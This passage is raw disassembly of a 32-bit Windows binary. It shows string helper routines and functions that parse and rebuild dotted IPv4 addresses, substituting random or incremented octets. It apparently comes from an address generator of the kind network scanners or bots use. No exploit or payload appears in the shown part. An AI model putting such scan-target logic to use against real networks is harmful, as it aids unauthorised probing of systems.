[eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_C] push offset sub_40764D call sub_4095A4 add esp, 14h locret_40789E: ; CODE XREF: sub_4077DD+46j leave retn sub_4077DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078A0 proc near ; CODE XREF: sub_40A9CF+216p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4078B8 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078B8: ; CODE XREF: sub_4078A0+14j ; sub_4078A0:loc_4078E2j cmp [ebp+var_4], 0 jnz short loc_4078C0 jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078C0: ; CODE XREF: sub_4078A0+1Cj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_4078E0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 jmp short loc_4078E2 ; --------------------------------------------------------------------------- loc_4078E0: ; CODE XREF: sub_4078A0+33j jmp short locret_4078E4 ; --------------------------------------------------------------------------- loc_4078E2: ; CODE XREF: sub_4078A0+3Ej jmp short loc_4078B8 ; --------------------------------------------------------------------------- locret_4078E4: ; CODE XREF: sub_4078A0+16j ; sub_4078A0+1Ej ... leave retn sub_4078A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078E6 proc near ; CODE XREF: sub_407D42+Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; strcpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T 